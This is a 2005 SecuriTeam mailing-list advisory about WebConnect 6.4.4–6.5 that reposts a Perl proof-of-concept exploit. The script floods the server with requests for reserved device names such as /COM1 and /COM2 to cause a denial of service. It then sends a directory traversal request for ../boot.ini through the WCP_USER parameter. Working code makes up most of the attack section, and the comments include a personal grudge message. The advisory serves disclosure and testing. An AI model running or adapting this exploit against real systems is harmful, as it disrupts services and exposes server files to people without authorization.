

[EXPL] Multiple Vulnerabilities in WebConnect Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0099.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/24/05

To: list@securiteam.com

Date: 24 Feb 2005 17:43:32 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Multiple Vulnerabilities in WebConnect Exploit

SUMMARY

<<http://www.openconnect.com/solutions/webconnect.jsp>> WebConnect is "client-server based software that provides secure browser based emulation to mainframe, midrange and UNIX systems".

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/5SP0POKEUC.html>> Multiple Vulnerabilities in WebConnect (Directory Traversal, DoS), WebConnect has been found to contain a DoS and a directory traversal vulnerability, the following exploit code can be used to test the denial of service vulnerability on your system.

DETAILS

Vulnerable Systems:

* WebConnect version 6.4.4

* WebConnect version 6.5

Immune Systems:

* WebConnect version 6.5.1 or newer

Securiteam: [EXPL] Multiple Vulnerabilities in WebConnect Exploit

```
#!/usr/bin/perl
#WebConnect version 6.4.4 – 6.5 Proof of Concept
#Coded bY ++KarakOrsan++
#karakorsankara@hotmail.com
#Usage:perl webconnect.pl [target] [port] (port is usually: 2080)
#Greetz:hurby,phalaposher,r3d_b4r0n,L4M3R,zeronc,Atak,sloan,emre,fox and
all my friends
#Konak Anatolian High School – Prep/C Class
#Sen kendini biliyosun,attigin kaziklari unutmuycam art k okulda yuzume de
bakamiyosun.Masum suratina,gozlerine ALDANMISIM!
#Herseyi sen baslattin sen bitirdin unutm;SENIN BENI BITIRDIGIN YERDE
SENDE BENIM ICIN BITERSIN!!!
```

```
$host=$ARGV[0];
$port=$ARGV[1];
```

```
if(!$ARGV[1]){
print "WebConnect 6.4.4 – 6.5 Proof of Concept\n";
print "Coded by ++KarakOrsan++\n";
print "Usage:perl $0 [target] [port]\n";
}
```

```
use IO::Socket;
$socket = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, );
close($socket);
if($socket){
print "[+]Attacking...\n";
print "[+]Allah Allah edalariyla saldiriyoz cunku biz muslumaniz:)\n";
}
```

```
use IO::Socket;
for($i= 0; $i < 30; $i++)
{
$socket1 = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, ) or die "Didnt Connect,Enter target address!\n";
print $socket1 "GET /COM1 HTTP/1.0\r\n";
print $socket1 "GET /COM2 HTTP/1.0\r\n";
print $socket1 "GET /COM1.jsp HTTP/1.0\r\n";
print $socket1 "GET /COM1.html HTTP/1.0\r\n";
print $socket1 "GET /COM1.smurf HTTP/1.0\r\n";
close($socket1);
}
$socket2 = new IO::Socket::INET( PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Type => SOCK_STREAM, );
```

Securiteam: [EXPL] Multiple Vulnerabilities in WebConnect Exploit

```
print $socket2 "GET
/jretest.html?lang=&parms=default&WCP_USER=../../../../../../../../boot.ini&action= HTTP/1.0\r\n";
close($socket2);
print "Attack finished ;)\n";
exit();
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:karakorsankara@hotmail.com>
CeLiL KarakOrsan.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.